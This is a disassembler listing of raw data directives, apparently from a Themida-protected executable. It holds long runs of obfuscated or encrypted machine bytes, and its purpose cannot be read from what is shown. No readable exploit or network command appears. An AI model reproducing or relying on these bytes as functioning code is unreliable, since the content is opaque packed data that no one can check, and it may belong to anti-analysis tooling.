		dd 3B04EB4Dh, 0E9041FCCh, 5B5h,	1EB35283h, 17AC4B77h, 12A74270h
		dd 0CA13C6Bh, 0A9F3265h, 699C576Fh, 6F9C43D8h, 689A41D6h
		dd 619138CDh, 0F66431C6h, 98E89708h, 0F9CBE243h, 58A1FC2Ch
		dd 0C52402BFh, 1DA44BECh, 14C257EAh, 0B59F3E6Bh, 5BF184B4h
		dd 42E984B2h, 4FEE1AA9h, 0C250FA8h, 1BC25585h, 1FB2E48Dh
		dd 0B32A9B89h, 0A27549A3h, 0EC8BB7B8h, 20EE8145h, 992FC6F6h
		dd 8027C2F0h, 4FF6FDE7h, 4EF58A1Dh, 5BE2891Ch, 7DE88F2Eh
		dd 8535EA34h, 0B376E7D5h, 0EEC149A3h, 0A3B3A91Ah, 3721F449h
		dd 0DC710436h, 0DC720535h, 0B3CD3E2Ch, 501849A3h, 0A3B2F162h
		dd 0C8693C49h, 8BF9C5DEh, 7349A3B3h, 0D96C46Dh,	0BAA445E0h
		dd 0C60FD15Fh, 1419AEFEh, 61h, 69FC2C78h, 0F28BF6C2h, 166F49A3h
		dd 79671708h, 49A3F208h, 0C3F18053h, 0FEE88128h, 0AEC030A5h
		dd 1AA19h, 250E0000h, 0FB64F7Ch, 5F8B8C76h, 669219C0h
		dd 6A9920C7h, 649039CFh, 3FC6DFC9h, 45CC7312h, 2ED57C17h
		dd 8753D35Dh, 0D0FC2AF4h, 147D1847h, 0AA60FC6h,	0D065067Bh
		dd 0C95EF929h, 68F92C57h, 6F0E3AC1h, 45AD56D9h,	349506F4h
		dd 0DE049A3h, 7FB397A4h, 12CB7C95h, 74901304h, 0DCA1D42Bh
		dd 0C15C8A19h, 4AA3D6D7h, 9F8D244Eh, 49A3E12Eh,	0DA3DA679h
		dd 0CE63045Dh, 0CA60F727h, 8AB90447h, 0AE98D6B8h, 45E00E95h
		dd 52E5179Eh, 5FF224ABh, 0CB3C2AB8h, 1649A3A6h,	47D18A43h
		dd 0F03E21C7h, 0AF09F7EEh, 62E519h, 25490000h, 0F2168775h
		dd 8E6149A3h, 0E070A3A4h, 0A3F281F2h, 58F9CC49h, 61FC2AB1h
		dd 0D563F6BAh, 89D386Bh, 0EC932E61h, 6B42DB5Eh,	0AF6367A4h
		dd 0FC95C4C5h, 4AD4B755h, 0AEDA6184h, 0C9B76719h, 49A3DC58h
		dd 0DB67D0A3h, 8D536BDDh, 40DDD1BBh, 41000000h,	0C168F92Ch
		dd 0C66D083Ah, 230D1B56h, 4EC055F0h, 0B8497C25h, 9D4FB011h
		dd 2F0407B7h, 77A3A48Eh, 0F76531D8h, 0DF49A380h, 0DE87B886h
		dd 0EC731AABh, 9C8627BAh, 0AF319243h, 14819h, 25AC0000h
		dd 3C341CA2h, 0FF681D40h, 0EA8DFA09h, 696A5489h, 72F9A03Bh
		dd 4FC0AE42h, 9A49A2FFh, 0E09026C7h, 0A2FF81F2h, 4C31CC49h
		dd 4982AE66h, 0A230DAEh, 57C8569Fh, 39F599D4h, 0CFB9CC79h
		dd 0EA17A0CEh, 0F1982B5Dh, 7710B758h, 0F07841D6h, 0FA7462F8h
		dd 1547A2CFh, 0CC29AC42h, 62F37E41h, 6DE4B21Bh,	81FF5944h
		dd 0C7F77E97h, 0D7781542h, 44119442h, 39D400B4h, 0B85A3D0h
		dd 55F02021h, 0E6013CBFh, 53D54634h, 4D20439Ch,	0FE754EE4h
		dd 60ECFE6Ch, 7D6708EAh, 5A2D9864h, 4984439Ch, 982151FFh
		dd 8D26CD68h, 0A957ECh,	4E4F39D4h, 59E0871Eh, 75F88E29h
		dd 0C06F8DFFh, 24056EA0h, 0B6FD264Eh, 65162F19h, 84B462ACh
		dd 785D5CF1h, 621FB5F1h, 18Bh, 8A820AC6h, 0CDC144F4h, 0D8774DCFh
		dd 0AA1B099Fh, 0F549A3B1h, 44F23822h, 0F47A2B9h, 5E07953Ch
		dd 9490CD30h, 2E5802F2h, 72A2A38Dh, 67973ED3h, 72A229D0h
		dd 75A52CD3h, 86B43BE2h, 1CAB44EBh, 81C98EEFh, 38CB0EADh
		dd 992CF097h, 1DD68F8Fh, 62F52513h, 47761FCDh, 0DF6E07AEh
		dd 0D87118AFh, 424095EEh, 7A9A1FB6h, 0C2000000h
		dd 0A950EB19h, 260BA710h, 0A86A663Bh, 830AF2BEh, 0EA0BF98Fh
		dd 9549A3F2h, 0CDA92CC2h, 1FBE7D77h, 7AE477Ah, 0CAE3CD6Eh
		dd 0A3998DFEh, 8A33B149h, 821BC25Bh, 23F33D98h,	54C5B39Ch
		dd 9F49A399h, 0EC952BCCh, 93015FBAh, 4F8207C5h,	0CEBCC4AEh
		dd 49A2F7ADh, 3FEF8558h, 0A2F7E051h, 6E582B49h,	1B09B967h
		dd 49A2F7AAh, 0CE3F2DF5h, 1949A2F7h, 0C0BBA546h, 0A7h
		dd 8A820A36h, 7D184BF4h, 2B9D8B93h, 6847A2EEh, 4EF590BFh
		dd 0FED1CBB5h, 0F590BF68h, 0B2CBB54Eh, 0C65CFB2Bh, 0A5406D16h
		dd 9CEE60D1h, 0EED8AB43h, 751040E7h, 0EE4A02CEh, 9F1439Ch
		dd 788D1886h, 0EAF82Ah,	7DAD9BA5h, 0C61E8222h, 0AC185FB8h
		dd 716A9C0Ah, 0DB7011B2h, 0FC928A12h, 0F45E2979h, 9C2B9506h
		dd 0A40DE043h, 0A08A0192h, 849DAA98h, 15E84197h, 58B7E76Eh
		dd 0DF409488h, 0D41767F4h, 0F1A3C5B7h, 9D08AF50h, 3ACBFEA7h
		dd 0B510FA93h, 1B139B6Bh, 0C952D585h, 0C8662DC2h, 5360A690h
		dd 9E3B8CBAh, 0AC436CBh, 6F48A82h, 479EF7F9h, 3CCA7144h
		dd 21C86793h, 2CCD689Ah, 88114142h, 430BF5Ah, 8C33C869h
		dd 9422C95Ch, 7920BFEBh, 0F7B0F6E0h, 4E45A4BBh,	93C36DBBh
		dd 86B55EF4h, 0C1AB44EBh, 6E5C0CBAh, 41840AFDh,	8A8B7548h
		dd 8D14BB5Ah, 0B11CC35Eh, 4070DE68h, 396910A5h,	376F79Eh
		dd 0EC000000h, 0FB2C7C5Eh, 0C3CC36Ah, 194BD279h, 2350D77Eh
		dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h
		dd 686711B8h, 16DBh, 89243489h,	4C681E6h, 83000000h, 348704EEh
		dd 89535C24h, 4C381E3h,	83000000h, 1C8704EBh, 34895C24h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 50241C89h
		dd 0B0AA9B8h, 8BC68906h, 0C4832404h, 1C8B5404h,	4C48324h
		dd 0D5685351h, 5B1A595Eh, 0E381DBF7h, 3A093E89h, 32FCB81h
		dd 0F3811508h, 35082327h, 15BD989h, 593189D9h, 52241C8Bh
		dd 0C281E289h, 4, 8704C283h, 0FF5C2414h, 815E2434h, 4C4h
		dd 6D2DE900h, 0F879FFFCh, 897E0B5h, 0FBCB8F4h, 0C503060Bh
		dd 0BA36E0FFh, 0A7BC7C4Fh, 55B81955h, 66075CA3h, 0C6281B98h
		dd 1B04B6Fh, 773E258Ah,	31020F02h, 0BF40063Dh, 0A55C7824h
		dd 2AE753FBh, 29A767DBh, 2DE3467Eh, 191B51A5h, 1FB5076Eh
		dd 99A1311Ch, 0A7DB0A87h, 0D33916C5h, 3D7975F6h, 0D4D029E5h
		dd 0DC7550F7h, 176F3B8Eh, 123446E9h, 12474022h,	0C18B76F1h
		dd 6D9B58Bh, 4EB0607h, 0
		dd 2991B58Bh, 95890607h, 6071EF9h, 18B1858Dh, 0BD890607h
		dd 6072D35h, 5E96050h, 0D8000000h, 0B21B0AA7h, 24048961h
		dd 6AF88B66h, 0BF006A00h, 7908C787h, 58C0Fh, 81660000h
		dd 8DF8A8E7h, 0B128785h, 8D858906h, 6006070Eh, 53C1BF0Fh
		dd 0C083615Bh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 11E837A0h, 0EB000000h
		dd 5AF72F5Dh, 0B72E29ECh, 877D7F2Ah, 0C8F03105h, 0E850905Eh
		dd 0Ah,	9C20AEFBh, 8A86646Eh, 5250C3C3h, 71ADBF66h, 0A4BF310Fh
		dd 5A227020h, 6A905E58h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 747FC351h, 0BC8917CEh
		dd 7418501h, 6A0607h, 12E9h, 27580900h,	90C004DDh, 0D3E35F8Bh
		dd 0F22F124Ch, 6A55904Ah, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1504h,	0C3534300h, 95FF8F3Eh
		dd 6071E3Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0DCC35343h, 98A1E04Fh, 5FFA8B53h, 93D59D8Dh, 6A060Ah
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 564582C3h, 668E7D84h, 0FF90DCB1h, 50006AD3h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 3C8384CCh
		dd 1FD1BD89h, 85FF0607h, 6072F59h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 6EC35040h, 6BC7812Bh, 665D2B11h
		db 8Bh,	0FEh
word_57DA46	dw 2E9h			; DATA XREF: Themida_:0053D64Co
		db 9, 2	dup(0)
byte_57DA4B	db 0E8h			; DATA XREF: Themida_:0053CF00o
		align 10h
		dd 91ED815Dh, 6A060B12h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0F439C352h,	0ED3B2063h
		dd 66745EF6h, 8BCFEDBFh, 70C5DB5h, 11BD0306h, 81060708h
		dd 720D5BDh, 7D006h, 0D9860F00h, 6A000001h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 2BA9C355h
		dd 70285BDh, 0B58B5606h, 6070471h, 0F19D8B5Eh, 6A060714h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0A64FC355h, 7B428A4Fh, 59BD896Fh,	81060702h
		dd 100E3h, 0B5B58B00h, 0B060700h, 0FD850FDBh, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0FD96C350h, 0A6190D2Ah, 0EC5BD0Bh, 0BD8B0607h
		dd 6072B09h, 10D1BD83h,	0F00060Bh, 6D84h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 1C009AFBh, 0BF0F921Fh, 5B92BEF1h, 0B3E961A4h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0CA70C356h, 0E7CAC5A4h, 3E006C75h, 0FE9h
		dd 0DB57E800h, 6142A8C7h, 0C3240901h, 2D0E5075h, 327DBD8Bh
		dd 85C70607h, 60B10D1h,	1, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 91C35646h, 8B575DE3h,	7142DB5h, 40E906h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0BD8B8FC3h, 6070DF5h, 10D185C7h, 60Bh, 0EE80000h
		dd 5A000000h, 42A4D91Eh, 1EFE8E05h, 0AC131155h,	9D8D5F69h
		dd 60714F1h, 45BD8Bh, 0BD030607h, 6070E25h, 0FEFF2381h
		dd 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0ADA26BC3h, 3ECE3D1Fh, 0CE990h, 0EC5C0000h
		dd 0DBBA334Bh, 5079B958h, 830F9202h, 0
aFmJ		db 'f▄шj',0
		db 50h,	0E8h, 3
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 4851C350h, 0DD810B19h, 29601ECEh, 7191DBDh, 61FA8B06h
		dd 4C3F6F5h, 55840Fh, 0CF810000h, 324521E1h, 2F99589h
		dd 95FF0607h, 60729EDh,	14E950F8h, 0CB000000h, 63770545h
		dd 948FC1F5h, 961A2E02h, 0B80B6ACAh, 895A87ECh,	6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0A867EEC3h, 767663E2h, 0E9B158E3h, 40Ch, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 39C35646h, 67A3BA6Bh
		dd 0C7816607h, 0BD2BE32Fh, 6071B8Dh, 816600B0h,	0E6CF14F6h
		dd 56006A70h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0BBF630B2h, 9BCEB098h, 81668524h, 0E48A33DEh
		dd 56006A71h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1804h
		dd 0C3564600h, 0CF2A278Fh, 0D8B60FFCh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 61C35545h, 1995891Eh, 0BA06070Bh
		dd 6, 23118589h, 0C38B0607h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0B1C35343h,	0B58B2874h, 6070381h
		dd 6A04E8C1h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0D9EC353h, 175899C5h, 0F9BE6663h
		dd 0C1958904h, 66060703h, 0F38BE2F7h, 8501D82Bh, 60707C1h
		dd 8E850h, 0EDAB0000h, 898E9666h, 11E8F3D5h, 0B4000000h
		dd 0D8B6A48Dh, 3EA6CCFDh, 179C7738h, 0AE829ED7h, 5F5F5F50h
		dd 0FF241C89h, 720D5B5h, 0FDB58B06h, 1060718h, 70895B5h
		dd 6995FF06h, 6606070Dh, 0B0BDEFBFh, 50006A00h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 576B54CFh
		dd 8BDD47C4h, 73129B5h,	6A70E606h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0BF45C352h
		dd 8509EE47h, 6071381h,	0CE9h, 0CCB3CF00h, 0FFA63F3Ch
		dd 0F8407E56h, 6A71E4A2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0E9D4C356h,	457B50C8h
		dd 30559529h, 613C0607h, 21E830Fh, 0B60F0000h, 398529D8h
		dd 66060713h, 0BA2C7BBEh, 6, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 2C35040h, 1E924C53h, 0E9BA2801h
		dd 8, 0E94FDB5Fh, 3F9A28E1h, 5A1CE681h,	0C38B0125h, 3859D89h
		dd 0E8C10607h, 0F78B6604h, 0C53F2BEh, 0E2F76659h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0ABC35343h, 0FCED2D7h
		dd 0D82BF2B7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ah,	19C35747h, 0E1783763h, 6658B3E9h, 0D82BF88Bh, 16E880Fh
		dd 85890000h, 60700DDh,	7B9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 40FA8EC9h
		dd 0C34ABE66h, 6A00C183h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 0D870C352h,	0B38E267h
		dd 333D9D89h, 0D93B0607h, 10E860Fh, 0BD290000h,	6071249h
		dd 6AD98C66h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 1784C356h, 396437EFh, 89B12CFCh
		dd 70761BDh, 4C1F606h, 0B8840Fh, 95FF0000h, 60729EDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 34C35646h, 0AFDBD89h
		dd 0BE90607h, 95000000h, 6A37F501h, 7CCC7356h, 6A5B5286h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 1D16C353h, 0FDE14433h, 0B529645Bh, 6072135h
		dd 0B61B58Bh, 0C32B0607h, 1B59B503h, 343D0607h,	0F000008h
		dd 3D86h, 6890F00h, 9000000h, 719B98Dh,	46E906h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 78CB04C3h, 880F8B55h, 6, 1FD19589h, 0C08B0607h, 0CE8h
		dd 9EF83C00h, 0ADF3B73Dh, 9D5D6186h, 0E1B589D9h, 5F060712h
		dd 0D88BC38Bh, 11E9h, 0DC66900h, 2D44AFFDh, 0C2AF0B4Fh
		dd 0FA7384BCh, 0BD8B1073h, 6072E6Dh, 2E5185C7h,	51BD0607h
		dd 6A7104h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0C08BB9C3h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 19h, 0AC35646h, 7B884B33h,	0FE85Dh, 12FE0000h
		dd 1F055D19h, 9F0013C5h, 1A332BA7h, 0BD895699h,	6071259h
		dd 9D895E5Eh, 60728A1h,	20D5BD81h, 7D00607h, 850F0000h
		dd 3Fh,	0BFD8D89h, 85FF0607h, 60720D5h,	0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 68C35646h, 0F0EF22Bh
		dd 282h, 8BFE8B00h, 816660F9h, 66690FC1h, 0FF61DA8Bh, 720D5B5h
		dd 95FFF906h, 6070D69h,	13B58589h, 81900607h, 0A9CBF4E7h
		dd 57006A71h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 14AFCD3Eh, 0C0B70F60h, 3BA9CA81h, 9D8B60D7h
		dd 6072BD1h, 57006A61h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0F7EBF66h, 10E93Ah, 18320000h, 3065116Fh
		dd 0B7700883h, 3C44E0CCh, 6A9077h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 8928C6C3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0BC35545h, 0F6AA4FC6h
		dd 13E951BDh, 66000000h, 809CF281h, 4C526BD1h, 35616EE3h
		dd 2E3A5ADDh, 0BD033742h, 60711C9h, 0DE9h, 24AFDD00h, 6539EF19h
		dd 4B1770A8h, 6A8C3Ch, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 94C997C3h, 6B8E68D4h, 0F5CCF251h
		dd 19D8B60h, 3106071Fh,	7266DBDh, 38C0F06h, 66000000h
		dd 8B66FE8Bh, 28E961DEh, 6AFFFFF7h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 2BB3C357h
		dd 8786EB1Fh, 8BD9F7C4h, 704F9BDh, 6AC18B06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 777CC351h, 0EE8h, 3055A700h,	74F61393h, 5E5C89F7h, 8B408742h
		dd 71FEDBDh, 4EB5E06h, 0
		dd 0F9850960h, 906071Fh, 7109195h, 6A6106h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 65FE97C3h
		dd 0BD89DCD7h, 607044Dh, 18B1858Dh, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B70F13C3h
		dd 0DE890FEh, 1B000000h, 41AD0428h, 0BAF195C6h,	0A420E6C1h
		dd 9BBE6653h, 505F5FA6h, 7FBFC7BFh, 0EE9906Bh, 90000000h
		dd 0A3A5037Ah, 0E02CFD78h, 9161F2E4h, 0F8B70FB1h, 8E0F006Ah
		dd 1Fh,	13E8h, 0A94A4500h, 7010E83Dh, 0A8D791AFh, 0BCDC7DF2h
		dd 23D8B1Eh, 9DDBD8Bh, 6A5E0607h, 0FBB70F00h, 1DBB858Dh
		dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 757FF2C3h, 0DF0B9FF4h, 585BD31h, 0C0830607h
		dd 51006A05h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0BD89692Ah, 6073295h, 24048950h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B2C35040h, 0BD89FC67h
		dd 60712C5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 2FB814C3h, 8BFE0CD8h, 8B006AF8h
		dd 73035BDh, 3D95FF06h,	8B06071Eh, 70FDDBDh, 0D59D8D06h
		dd 6A060A93h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 9E26C355h, 683F5E83h, 1E9A133h
		dd 707F1BDh, 6AD3FF06h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 3123C352h, 7006DBDh
		dd 5985FF06h, 6A06072Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 86CDC350h, 0BF661281h
		dd 9DE90199h, 0E8000008h, 0
		dd 0C5ED815Dh, 6A060B1Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 99BAC351h, 0E2251AE7h
		dd 4CDBD8Bh, 0BD810607h, 60720D5h, 7D0h, 1D7860Fh, 0BD8B0000h
		dd 6070B5Dh, 21A99D8Bh,	6A0607h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0D7E70CC3h, 372CBE2Eh
		dd 0E38164C6h, 100h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 27C35040h, 2EFDB280h,	0FDB0B43h, 0E085h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0B16A1847h, 5209BE66h, 14E8h, 2CD6300h
		dd 2C4657EDh, 0D0624C43h, 74392C44h, 0E7C47750h, 0F3EE81DFh
		dd 5F0DD8E5h, 1BC9BD83h, 0F00060Bh, 3484h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h
		dd 8166F834h, 0E90238C7h, 0A8h,	7E8h, 8D4B5600h, 0B9EDE4E1h
		dd 0C985C75Fh, 1060B1Bh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0A606C355h
		dd 0B1BD8B00h, 0E9060700h, 68h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 51C35646h, 68E0FC4h, 29000000h
		dd 711659Dh, 0C985C706h, 60B1Bh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 3D35C355h
		dd 13E9h, 75647300h, 0A1B72BCBh, 4A42B345h, 0E5B4D440h
		dd 0D2987D16h, 21A99D8Dh, 6A0607h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 66B18CC3h, 2381FB8Bh
		dd 0FFFFFEFFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	30C35141h, 0DC147BD1h, 0F1853425h, 28A0F0Ah, 8B000000h
		dd 0DB8C66FBh, 0CE8h, 590C8900h, 80A686D8h, 4FBBDBFBh
		dd 6820F49h, 0F000000h,	8Ch, 0C3F65F00h, 56840F04h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 6716C353h, 751B58Bh, 95FF0607h, 60729EDh
		dd 0BE9h, 58949D00h, 9422F9C8h,	3CD55877h, 0F525050h, 22BE5731h
		dd 5E05F1B3h, 489585Ah,	6840F24h, 89000000h, 73295B5h
		dd 3E6E906h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0FB360C3h, 8D293019h, 60702E1h
		dd 8B6000B0h, 0C99589FBh, 6106070Ah, 0E6F38B66h, 0E4FA8B70h
		dd 57006A71h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 6060A500h, 12898589h, 0CB90607h,	6114B6F1h
		dd 29258501h, 0F610607h, 0BD89D8B6h, 607236Dh, 6BAh, 0A7BE6600h
		dd 6AC38BC8h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 6FCBC350h, 5D9A96AAh, 0F3601A08h
		dd 0E8C1F08Bh, 56006A04h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 9042F14Dh, 12E9EE9Dh
		dd 2E55BD8Bh, 0F7660607h, 51006AE2h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0DE9F203h
		dd 12000000h, 0BAFC7FA3h, 0E05C22Eh, 2F03A488h,	1C5B523h
		dd 0D82B0607h, 8BDE8A60h, 72AC58Dh, 89506106h, 0BF66241Ch
		dd 0B5FFD07Eh, 60720D5h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 0C8C35141h, 45981686h, 0FF331C74h, 70D6995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0E85E5189h, 5, 6F941A54h, 87F6811Dh, 5F2BB5A3h
		dd 8F0F00B0h, 18h, 45B58960h, 0E906070Eh, 0Bh, 0C6F273FCh
		dd 0CCCEDB80h, 615B43C9h, 0BF6670E6h, 71E4EE18h, 0B69B58Bh
		dd 613C0607h, 232830Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0D99E3CC3h, 7E711324h
		dd 459D89C9h, 0F060708h, 6AD8B6h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 383D79C3h, 7A6C07ECh
		dd 0BA61F860h, 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	67C35242h, 2D7DDD96h, 0FC2A62AEh, 10E9h, 1AC5F400h
		dd 408C77Bh, 0AC97F48Dh, 2ED02C8Dh, 0CE878h, 548B0000h
		dd 6ECAB287h, 6DED502Ah, 48BFBB77h, 5F513010h, 6AC38Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 2390ECC3h, 7055DBDh,	4E8C106h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 25C35646h, 9D891460h, 60719C5h
		dd 0F5E2F766h, 6650D82Bh, 5F2EB9BEh, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 2B536395h
		dd 0D880FD8h, 0E9000001h, 5, 918F8458h,	7B937h,	8B660000h
		dd 0C183F0h, 0A748CF81h, 0D93B220Ch, 0EA860Fh, 12BE0000h
		dd 66353325h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8BA7D5C3h, 713EDBDh, 4C1F606h, 0B0840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 0A7AFD6C3h, 23BE3BBBh, 70781B5h, 0ED95FF06h
		dd 60060729h, 0CE8h, 0CA9C5C00h, 9ED13D28h, 80972854h
		dd 9DB0B842h, 3358730Bh, 732E585h, 880F6106h, 0
		dd 2BF88B5Bh, 8343DC3h,	860F0000h, 4Eh,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 15h, 78C35242h, 21E7819Bh
		dd 0E966311Dh, 2Ch, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Dh, 22C35141h, 11D220C4h,	0FE7278D2h, 0C08BF51Ah
		dd 3500BE66h, 0D88BC38Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 97C35040h, 0C755DA71h, 714F185h, 47CB7706h
		dd 11BD8B16h, 8B060704h, 9E8C0h, 0C1220000h, 579FF0BEh
		dd 5F7E3408h, 20D5BD81h, 7D00607h, 850F0000h, 4Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D8C35646h, 31FECB52h
		dd 0BB24419Bh, 0E6816606h, 85FF924Ch, 60720D5h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 39C35141h, 0D5B5FF63h
		dd 8B060720h, 72AC1BDh,	6995FF06h, 6A06070Dh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 0D35CC352h, 0F1BF0FB7h, 1265BD2Bh, 0E8900607h, 5, 0BF78C522h
		dd 65B50350h, 5E060713h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 14h, 0B1C35646h, 2615B58Bh, 0B58B0607h, 6072829h
		dd 6AF38B66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 3800C351h, 663A3C59h, 1943D781h
		dd 4FFDF681h, 0BD894C41h, 6072F55h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 46C35242h, 5A64023Ah, 6027D09Bh
		dd 2F999531h, 0BE90607h, 14000000h, 10A3FDB9h, 41DD92A5h
		dd 8B663116h, 6AFC61CAh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 7E1BC352h, 6A9DFF33h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
